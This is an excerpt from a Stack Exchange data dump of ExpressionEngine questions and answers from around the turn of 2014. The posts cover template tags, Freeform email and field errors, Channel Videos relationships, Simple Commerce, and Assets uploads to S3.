  <row Id="18007" PostTypeId="1" CreationDate="2013-12-31T19:23:41.567" Score="0" ViewCount="70" Body="&lt;p&gt;I've been following Andy Johnson's (Shapingthepage.com) &lt;a href=&quot;http://shapingthepage.com/journal/how-to-build-a-simple-tumblr-blog-with-expressionengine&quot; rel=&quot;nofollow&quot;&gt;tutorial&lt;/a&gt; on building a blog using EE and have been running into an incredibly frustrating issue where the permalink redirects to the homepage. Only thing I can see in the template debugging is this and can't really make sense of it: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(0.010170 / 7.26MB) Snippets (Values): FALSE|1|Bio Mechaniks|default_site|blog-test-entry-photo&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The blog entry page I'm working with is here: &lt;a href=&quot;http://biomechaniks.com/blog_entry/&quot; rel=&quot;nofollow&quot;&gt;http://biomechaniks.com/blog_entry/&lt;/a&gt;&#xA;When you click permalink for the non-video entry, you'll see it just sends you back to the home page. Per Andy Johnson's tutorial, I placed the following the index page for the template group: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2 == &quot;&quot;}&#xA;{embed=&quot;blog_entry/.blog.main&quot;}&#xA;{if:else}&#xA;{embed=&quot;blog_entry/.blog.article&quot;}&#xA;{/if} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thoughts?&lt;/p&gt;&#xA;" OwnerUserId="2548" LastActivityDate="2014-02-01T19:19:34.127" Title="Blog permalink redirects to homepage channel?" Tags="|ee2|channel-entries|links|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18008" PostTypeId="1" CreationDate="2013-12-31T19:31:04.677" Score="0" ViewCount="128" Body="&lt;p&gt;I'm using the free version of FreeForm 4.1.3 and Exp Eng v2.7.3 - Build Date: 20131210. I found a similar question here on StackExchange...&#xA;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/9228/solspace-freeform-pro-no-field-types-available&quot;&gt;Solspace Freeform Pro no field types available&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm unable to create any fields and the default ones aren't there. I'm also unable to create any forms. When I do a submit for creating a new form I'm just sent back to the control panel home page. The page for creating new fields shows the following php warnings...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally I never see any problems with FreeForm. The only thing different here that I can think of is that the Exp Eng system directory is above the web root in my configuration.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: Invalid argument supplied for foreach()&#xA;Filename: libraries/Freeform_fields.php&#xA;Line Number: 249&#xA;&#xA;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: ksort() expects parameter 1 to be array, boolean given&#xA;Filename: libraries/Freeform_fields.php&#xA;Line Number: 254&#xA;&#xA;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: Invalid argument supplied for foreach()&#xA;Filename: freeform/mcp.freeform.php&#xA;Line Number: 3128&#xA;&lt;/pre&gt;&#xA;" OwnerUserId="505" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-12-31T19:31:04.677" Title="FreeForm 4.1.3 is not showing any field types and I'm unable to create any fields or forms" Tags="|solspace-freeform|solspace|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18009" PostTypeId="1" CreationDate="2013-12-31T19:46:22.507" Score="0" ViewCount="103" Body="&lt;p&gt;I'm moving one of my sites to a new host. I'm still using EE 1.6.9 and using it with Freeform 2.6.6. I know, I know... I'm way out of date. But, things have worked and I've never seen a need up upgrade my software and pay for latest and greatest. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So... I'm hoping someone can give me some things to try because I'm all out of ideas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm operating the site under a test URL for the time being just to ensure everything works. I've changed all paths (that I know of), changed config.php file, updated permissions on the necessary files/folders on the server, etc. The ONLY thing I can't seem to get working is getting Freeform to send email. On my current live host, I've used this version of EE and Freeform together for probably four years with zero issues sending mail. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my new host, the only difference that I can tell is that I'm now using PHP 5.2, where on my old (current) host they're still using PHP 5.1.6. I don't think this would make a huge difference, but maybe? I'm not sure I can downgrade to 5.1.6, so if that is in fact an issue, is there an updated Freeform that I could install that will still work with my version of EE and PHP 5.2?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks all&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wanted to add that on my old (current) host, email configuration was setup to use phpmail. On the new host, they use sendmail for email. So, I have went in and changed the email configuration in Admin to &quot;sendmail.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm also able to email myself via the &quot;communicate&quot; tab in the control panel, so I know email is working.&lt;/p&gt;&#xA;" OwnerUserId="2410" LastEditorUserId="2410" LastEditDate="2013-12-31T22:07:42.263" LastActivityDate="2014-01-06T18:02:17.663" Title="Moving Hosts: Freeform 2.6.6 not sending email" Tags="|solspace-freeform|solspace|ee1|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18010" PostTypeId="1" AcceptedAnswerId="18012" CreationDate="2013-12-31T20:51:58.583" Score="1" ViewCount="123" Body="&lt;p&gt;This is the first time that I'm using the new Realationships field and I can't seem to get it to work with Channel Videos.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to display all videos from my relationship field &quot;{related_entries}&quot; from the channel &quot;videos&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;&#xA;{exp:channel:entries channel=&quot;video_courses&quot; disable=&quot;categories|category-fields|member-data|pagination&quot;}&#xA;{related_videos}&#xA;{exp:channel_videos:videos prefix=&quot;cv&quot;}&#xA;&#xA;&#xA;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{title_permalink='videos/view'}&quot; class=&quot;image&quot;&amp;gt;&amp;lt;img src=&quot;{cv:img_url_hd}&quot; alt=&quot;image01&quot; /&amp;gt;&amp;lt;h2&amp;gt;&amp;lt;span&amp;gt;{title}&amp;lt;/span&amp;gt;&amp;lt;/h2&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&#xA;{/exp:channel_videos:videos}&#xA;&#xA;{/related_videos}&#xA;{/exp:channel:entries}&#xA;&#xA;  &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However it is not outputting anything. Any thoughts appreciated...&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2013-12-31T22:40:05.270" Title="Relationships and Channel Videos" Tags="|relationships|channel-videos|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18011" PostTypeId="1" AcceptedAnswerId="20422" CreationDate="2013-12-31T22:28:57.580" Score="0" ViewCount="189" Body="&lt;p&gt;Is it possible to disable the core file modification modification notices/alerts in the control panel?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When we commit updates into version control, the next page load in the CP on our staging server will get the &quot;One or more core files have been altered,&quot; and whatever action a user was doing in the control panel (writing an entry, editing a setting, etc.) will be lost.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-03-18T20:09:58.907" Title="How do you Suppress Core File Modification Notices?" Tags="|notification|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18012" PostTypeId="2" ParentId="18010" CreationDate="2013-12-31T22:40:05.270" Score="2" Body="&lt;p&gt;The related_videos tag pair will loop through any you have selected, and for each loop you need to tell channel_videos which video you're looking for. So you could use the entry id parameter, something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{related_videos}&#xA;    {exp:channel_videos:videos prefix=&quot;cv&quot; entry_id=&quot;{related_videos:entry_id}&quot;}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{title_permalink='videos/view'}&quot; class=&quot;image&quot;&amp;gt;&amp;lt;img src=&quot;{cv:img_url_hd}&quot; alt=&quot;image01&quot; /&amp;gt;&amp;lt;h2&amp;gt;&amp;lt;span&amp;gt;{related_videos:title}&amp;lt;/span&amp;gt;&amp;lt;/h2&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    {/exp:channel_videos:videos}&#xA;{/related_videos}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;using the related_videos for a prefix to point to children variables in your video channel. You also might have to change the formatting for the permalink. &lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-12-31T22:40:05.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18013" PostTypeId="1" CreationDate="2014-01-01T02:46:47.540" Score="1" ViewCount="375" Body="&lt;p&gt;Is it possible to remove the &quot;default site&quot; from a MSM installation and then remove the MSM plugin, thereby creating a stand alone from the second site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running EE 2.7.2 with Multiple Site Manager&lt;/p&gt;&#xA;" OwnerUserId="2554" LastActivityDate="2014-01-02T16:04:03.267" Title="Remove &quot;default site&quot; from MSM installation?" Tags="|multi-site-manager|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18014" PostTypeId="1" CreationDate="2014-01-01T17:31:55.790" Score="2" ViewCount="248" Body="&lt;p&gt;I have this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:forms:form&#xA;            form_name=&quot;contact&quot;&#xA;            return=&quot;kontakt/takk&quot;&#xA;            attr:class=&quot;form default contact&quot;}&#xA;&#xA;            {forms:fields}&#xA;                {forms:field}&#xA;            {/forms:fields}&#xA;&#xA;            {forms:form_errors} {/forms:form_errors}&#xA;&#xA;            &amp;lt;p class=&quot;denote center&quot;&amp;gt;Du hører fra oss innen 24 timer. &amp;lt;br&amp;gt;&amp;lt;strong&amp;gt;Takk for at du vurderer oss!&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;        {/exp:forms:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And while i am returned to &quot;kontakt/takk&quot;, that only happens after forms redirects to EEs ugly gray &quot;thank you box&quot;. Is there a way to bypass that?&lt;/p&gt;&#xA;" OwnerUserId="1525" LastActivityDate="2014-07-30T15:29:04.133" Title="Devdemon forms return url without ugly gray EE &quot;thanks&quot; page first" Tags="|forms|devdemon|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18015" PostTypeId="2" ParentId="17794" CreationDate="2014-01-01T18:42:01.473" Score="0" Body="&lt;p&gt;I can see two alternatives to this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Disable external linking. This would break various things like addon doc links in the control panel.&lt;/li&gt;&#xA;&lt;li&gt;Die rather than provide the external link when referrer != host. This is a much safer solution, but relies on your server providing valid referrer strings. Refreshing a redirected link that times out may also fail.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For &lt;strong&gt;solution #1&lt;/strong&gt; below line 39 which starts with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$host = &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( ! isset($_SERVER['HTTP_REFERER']) OR ! stristr($_SERVER['HTTP_REFERER'], $host))&#xA;{&#xA;    die();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And for &lt;strong&gt;solution #2&lt;/strong&gt; below line 43 which starts&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($force_redirect&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;die();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In either case you could redirect to your homepage instead of just using die.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; And as mentioned elsewhere the same idea can be accomplished via htaccess. The only real solution lies in an EE internal whitelist that automatically tracks valid external links. For example every time an addon is added any external URLs are added to the whitelist.&lt;/p&gt;&#xA;" OwnerUserId="942" LastEditorUserId="942" LastEditDate="2014-01-01T18:48:55.173" LastActivityDate="2014-01-01T18:48:55.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18016" PostTypeId="2" ParentId="18013" CreationDate="2014-01-01T20:15:10.373" Score="1" Body="&lt;p&gt;Nope, you're going to run into a bunch of problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd set up two separate installs and migrate the data using &lt;a href=&quot;http://devot-ee.com/add-ons/datagrab&quot; rel=&quot;nofollow&quot;&gt;DataGrab&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-01-01T20:15:10.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18017" PostTypeId="1" AcceptedAnswerId="18018" CreationDate="2014-01-01T20:32:24.857" Score="1" ViewCount="95" Body="&lt;p&gt;I am looking to use simple commerce price variable inside a standard channel entries tag.  Using the following code, it is not parsing the {item_regular_price} and simply displaying the tag.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;membership_packages&quot; dynamic=&quot;no&quot;}&#xA;  &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{page_url}&quot;&amp;gt;{title} - {item_regular_price}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how I can get the information from  the simple commerce item to display in channel entries?&lt;/p&gt;&#xA;" OwnerUserId="386" LastActivityDate="2014-01-01T20:35:32.540" Title="Simple Commerce tag in Standard Channel entries tag?" Tags="|simple-commerce|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18018" PostTypeId="2" ParentId="18017" CreationDate="2014-01-01T20:35:32.540" Score="2" Body="&lt;p&gt;Figured this out, you need to wrap the simple commerce tags with in the simple commerce purchase tags like so...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;membership_packages&quot; dynamic=&quot;no&quot;}&#xA;     &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{page_url}&quot;&amp;gt;{title} - {exp:simple_commerce:purchase entry_id=&quot;{entry_id}&quot; success=&quot;site/success&quot; cancel=&quot;site/index&quot;} {item_regular_price}{/exp:simple_commerce:purchase}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's important to note that the &quot;success&quot; and &quot;cancel&quot; parameters are required and it will not work without them.&lt;/p&gt;&#xA;" OwnerUserId="386" LastActivityDate="2014-01-01T20:35:32.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18019" PostTypeId="2" ParentId="17580" CreationDate="2014-01-01T21:09:42.843" Score="0" Body="&lt;p&gt;The systems folks I've talked to usually advise enabling HTTPS/SSL across the entire site, not just the control panel; I'd suggest going that route, unless the client/manager is steadfast against it.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-01-01T21:09:42.843" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18020" PostTypeId="2" ParentId="17992" CreationDate="2014-01-01T21:22:37.247" Score="1" Body="&lt;p&gt;I just implemented this on a project yesterday, and agree that the &lt;a href=&quot;https://www.objectivehtml.com/google-maps/examples/custom-map-styles&quot; rel=&quot;nofollow&quot;&gt;official docs/example&lt;/a&gt; is a bit skimpy on details. In any event...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a file that includes your JSON object, prefixed with &lt;code&gt;var stylez =&lt;/code&gt;, save it as &quot;gmap-styles.js&quot; in a place where your browser can see it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;gmap-styles.js&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var stylez = [ { &quot;featureType&quot;: &quot;road.highway&quot;, &quot;stylers&quot;: [ { &quot;visibility&quot;: &quot;on&quot; } ] },{ &quot;featureType&quot;: &quot;road.local&quot;, &quot;stylers&quot;: [ { &quot;visibility&quot;: &quot;on&quot; } ] },{ &quot;featureType&quot;: &quot;road.arterial&quot;, &quot;stylers&quot;: [ { &quot;visibility&quot;: &quot;on&quot; } ] } ]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, use use the &lt;code&gt;styles&lt;/code&gt; and &lt;code&gt;style_var&lt;/code&gt; parameters in &lt;code&gt;{exp:gmap:init}&lt;/code&gt; in your template to specify the path to the JS file, as well as the name of the JSON var you saved in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;some.group/some_template.html&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gmap:init &#xA;    ... a bunch of other params ...&#xA;    styles=&quot;url/path/to/gmap-styles.js&quot;&#xA;    style_var=&quot;stylez&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-01-01T21:22:37.247" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18021" PostTypeId="2" ParentId="17976" CreationDate="2014-01-01T21:29:54.070" Score="0" Body="&lt;p&gt;Take a look at &lt;a href=&quot;http://buildwithstructure.com/&quot; rel=&quot;nofollow&quot;&gt;Structure&lt;/a&gt;; I use it on almost every EE project I build, much better than the Pages module, and, it has a great UX/UI for managing content, and it's pretty flexible (works with standard template groups when you need to, otherwise takes care of them). Also does some neat things like build navigation trees, etc.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-01-01T21:29:54.070" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18022" PostTypeId="1" AcceptedAnswerId="18028" CreationDate="2014-01-01T21:33:34.193" Score="2" ViewCount="251" Body="&lt;p&gt;Using version 2.7.3, when I try to use the Keywords field in the Edit/Search Entries box, I just get a spinning activity indicator, but never any search results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am able to use the drop down filters, such as Channel, Category, and Status.  &lt;/p&gt;&#xA;" OwnerUserId="1295" LastActivityDate="2014-01-02T14:19:08.980" Title="Search Entries for Keyword in Control Panel not working" Tags="|control-panel|search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18023" PostTypeId="1" AcceptedAnswerId="18112" CreationDate="2014-01-01T21:48:34.397" Score="0" ViewCount="1323" Body="&lt;p&gt;I'm attempting to replace an existing JPG image on S3 that's managed by Assets, but it appears the new file doesn't replace the existing one on S3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first thought was that it was an issue with browser caching, but I have it disabled, and, when viewing the file's URL in a different browser, I still see the old image, so, I'm confident the new file isn't ever making it to S3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not see any errors in the EE control panel; everything else is working without any problems (upload, delete, move, etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Steps to Reproduce:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Upload a file to S3 in the EE CP using Assets&lt;/li&gt;&#xA;&lt;li&gt;Upload another file with the same name to to same folder&lt;/li&gt;&#xA;&lt;li&gt;Select &quot;replace the existing file&quot; at the prompt&lt;/li&gt;&#xA;&lt;li&gt;Right click the thumbnail/file, view file; file on S3 hasn't been updated.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This install is on EE 2.7.2 with Assets 2.2.2. Will not be able to provide credentials for troubleshooting, as it's behind a VPN on infrastructure I cannot modify; hopefully you can reproduce in your test environment.&lt;/p&gt;&#xA;" OwnerUserId="33" LastEditorUserId="33" LastEditDate="2014-01-06T15:58:51.660" LastActivityDate="2014-01-31T17:59:58.023" Title="Replace File using Assets with S3 + Cloudfront" Tags="|assets|s3|cloudfront|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18025" PostTypeId="1" AcceptedAnswerId="18047" CreationDate="2014-01-02T01:51:17.903" Score="1" ViewCount="83" Body="&lt;p&gt;My members have a custom control panel that they log into. Is there a way I can possibly set some sort of skeleton key so I can log in as those members? In some cases, the admin needs to play the role of the members (for troubleshooting, etc.). Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="55" LastEditDate="2014-01-02T14:02:53.803" LastActivityDate="2014-02-02T09:19:40.160" Title="Logging in as another member? Skeleton key?" Tags="|members|member-details|member-management|authentication|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18027" PostTypeId="1" CreationDate="2014-01-02T13:41:28.923" Score="1" ViewCount="72" Body="&lt;p&gt;Best,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to make a checkout with exp-resso, if you are registered to the fields already filled in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do this in store-Fields,  Orders &gt; settings-&gt; Field Settings&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code what I use in ExpressionEngine can be found below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout&#xA;    form_class=&quot;registed editform&quot;&#xA;    next=&quot;webshop/checkout3&quot;&#xA;    form_id=&quot;checkout&quot;&#xA;    error_handling=&quot;inline&quot;&#xA;}&#xA;&#xA;    {if no_items}&#xA;        {redirect=&quot;webshop/checkout&quot;}&#xA;    {/if}&#xA;&#xA;&#xA; &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;  &amp;lt;section id=&quot;main&quot; class=&quot;entire_width&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;container_12&quot;&amp;gt;      &#xA;       &amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;grid_12&quot;&amp;gt;&#xA;            &amp;lt;h1 class=&quot;page_title&quot;&amp;gt;Checkout&amp;lt;/h1&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- .grid_12 --&amp;gt;&#xA;&#xA;&#xA;        &amp;lt;div class=&quot;grid_9&quot; id=&quot;checkout_info&quot;&amp;gt;&#xA;            &amp;lt;ul class=&quot;checkout_list&quot;&amp;gt;&#xA;                &amp;lt;li class=&quot;active&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;list_header&quot;&amp;gt;Gegevens&amp;lt;div class=&quot;number&quot;&amp;gt;1&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div id=&quot;form_checkout&quot;&amp;gt;&#xA;                            &amp;lt;div class=&quot;error&quot;&amp;gt;&amp;lt;span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;                            &amp;lt;div class=&quot;email&quot;&amp;gt;&#xA;                                &amp;lt;strong&amp;gt;Naam&amp;lt;/strong&amp;gt;&amp;lt;sup class=&quot;surely&quot;&amp;gt;*&amp;lt;/sup&amp;gt;&amp;lt;br/&amp;gt;&#xA;                                    &amp;lt;input type=&quot;text&quot; name=&quot;billing_name&quot; id=&quot;billing_name&quot; value=&quot;{billing_name}&quot; required /&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&#xA;&#xA;                            &amp;lt;div class=&quot;email&quot;&amp;gt;&#xA;                                &amp;lt;strong&amp;gt;Adres&amp;lt;/strong&amp;gt;&amp;lt;sup class=&quot;surely&quot;&amp;gt;*&amp;lt;/sup&amp;gt;&amp;lt;br/&amp;gt;&#xA;                                    &amp;lt;input type=&quot;text&quot; name=&quot;billing_address1&quot; id=&quot;billing_address1&quot; value=&quot;{billing_address1}&quot; required /&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&#xA;&#xA;                            &amp;lt;div class=&quot;email&quot;&amp;gt;&#xA;                                &amp;lt;strong&amp;gt;Postcode&amp;lt;/strong&amp;gt;&amp;lt;sup class=&quot;surely&quot;&amp;gt;*&amp;lt;/sup&amp;gt;&amp;lt;br/&amp;gt;&#xA;                                    &amp;lt;input type=&quot;text&quot; name=&quot;billing_postcode&quot; id=&quot;billing_postcode&quot; value=&quot;{if billing_postcode}{billing_postcode}{/if}&quot; required /&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&#xA;&#xA;                            &amp;lt;div class=&quot;email&quot;&amp;gt;&#xA;                                &amp;lt;strong&amp;gt;Gemeente&amp;lt;/strong&amp;gt;&amp;lt;sup class=&quot;surely&quot;&amp;gt;*&amp;lt;/sup&amp;gt;&amp;lt;br/&amp;gt;&#xA;                                    &amp;lt;input type=&quot;text&quot; name=&quot;billing_city&quot; id=&quot;billing_city&quot; value=&quot;{billing_city}&quot; required /&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&#xA;&#xA;                            &amp;lt;div class=&quot;email&quot;&amp;gt;&#xA;                                &amp;lt;strong&amp;gt;Land&amp;lt;/strong&amp;gt;&amp;lt;sup class=&quot;surely&quot;&amp;gt;*&amp;lt;/sup&amp;gt;&amp;lt;br/&amp;gt;&#xA;                                    &amp;lt;select name=&quot;billing_country&quot;&amp;gt;&#xA;                                        {billing_country_options}&#xA;                                &amp;lt;/select&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;br /&amp;gt;&#xA;                            &amp;lt;div class=&quot;email&quot;&amp;gt;&#xA;                                &amp;lt;strong&amp;gt;Telefoonnummer&amp;lt;/strong&amp;gt;&amp;lt;sup class=&quot;surely&quot;&amp;gt;*&amp;lt;/sup&amp;gt;&amp;lt;br/&amp;gt;&#xA;                                    &amp;lt;input type=&quot;text&quot; name=&quot;billing_phone&quot; id=&quot;billing_phone&quot; value=&quot;{billing_phone}&quot; required /&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&#xA;&#xA;                            &amp;lt;div class=&quot;email&quot;&amp;gt;&#xA;                                &amp;lt;strong&amp;gt;E-mailadres&amp;lt;/strong&amp;gt;&amp;lt;sup class=&quot;surely&quot;&amp;gt;*&amp;lt;/sup&amp;gt;&amp;lt;br/&amp;gt;&#xA;                                    &amp;lt;input type=&quot;text&quot; name=&quot;order_email&quot; id=&quot;order_email&quot; value=&quot;{order_email}&quot; required /&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div class=&quot;email&quot;&amp;gt;&#xA;                                &amp;lt;strong&amp;gt;Verzendmethode&amp;lt;/strong&amp;gt;&amp;lt;sup class=&quot;surely&quot;&amp;gt;*&amp;lt;/sup&amp;gt;&amp;lt;br/&amp;gt;&#xA;                                    &amp;lt;select name=&quot;shipping_method&quot; required&amp;gt;&#xA;                                        {shipping_method_options}&#xA;                                &amp;lt;/select&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;&#xA;                        &amp;lt;div class=&quot;submit&quot;&amp;gt;                                        &#xA;                            &amp;lt;input type=&quot;submit&quot; name=&quot;next&quot; value=&quot;Volgende&quot; class=&quot;bay&quot; /&amp;gt;&#xA;&#xA;                        &amp;lt;/div&amp;gt;&#xA;&#xA;                        &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;                &amp;lt;/li&amp;gt;&#xA;                &amp;lt;li&amp;gt;&#xA;                    &amp;lt;div class=&quot;list_header&quot;&amp;gt;Betaling&amp;lt;div class=&quot;number&quot;&amp;gt;2&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;                &amp;lt;li&amp;gt;&#xA;                    &amp;lt;div class=&quot;list_header&quot;&amp;gt;Bevestigen&amp;lt;div class=&quot;number&quot;&amp;gt;3&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&amp;lt;!-- .grid_9 --&amp;gt;&#xA;       &amp;lt;/div&amp;gt;&amp;lt;!-- #content --&amp;gt;&#xA;&#xA;      &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- .container_12 --&amp;gt;&#xA;  &amp;lt;/section&amp;gt;&amp;lt;!-- #main --&amp;gt;&#xA;&#xA;  &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;{/exp:store:checkout}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I see the value do not appear when I logged in, can anyone 